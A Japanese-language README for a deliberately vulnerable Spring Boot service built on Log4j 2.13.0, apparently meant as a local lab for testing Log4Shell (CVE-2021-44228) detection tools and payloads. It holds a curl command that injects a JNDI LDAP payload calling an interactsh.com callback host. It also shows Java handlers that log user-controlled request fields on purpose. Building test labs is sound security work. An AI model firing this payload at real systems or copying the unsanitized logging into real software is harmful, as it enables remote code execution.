
ローカル環境で検出ツール、ペイロード、エクスプロイト機能をテストするために、意図的にLog4Shell(CVE-2021-44228)に対して脆弱なDocker化されたSpring Bootサービス。
これは、実際の本番環境にヒットする前に、ローカルでツールやペイロード、検出機能をテストするための、汚いハック的なSpring Boot Hello Worldプロジェクトです。
設定されているLog4jのバージョンは2.13.0です。
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
ガレージでBurp Collaboratorが動作していない場合は、こちらのサイトで同様の体験ができます: https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
オプションとして、ローカル/大規模スキャンを行うためのこの素晴らしいリポジトリを使用できます: https://github.com/adilsoybali/Log4j-RCE-Scanner
この脆弱性は、ユーザーが制御する値を脆弱なログフレームワークに強制的にログ出力させることにすべてかかっています。これを念頭に置いて、このシンプルなダミーアプリケーションは、2つのHTTPメソッド(GET/PUT)と多数のインジェクション箇所をサポートしています:
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // 追加のリクエストボディに注意
return "Log4J2 is working!";
}
コントリビューション / 改善は歓迎します。
コードの品質についてはご容赦ください :) このプロジェクトは見せびらかすためではなく、共有・支援のためにあります。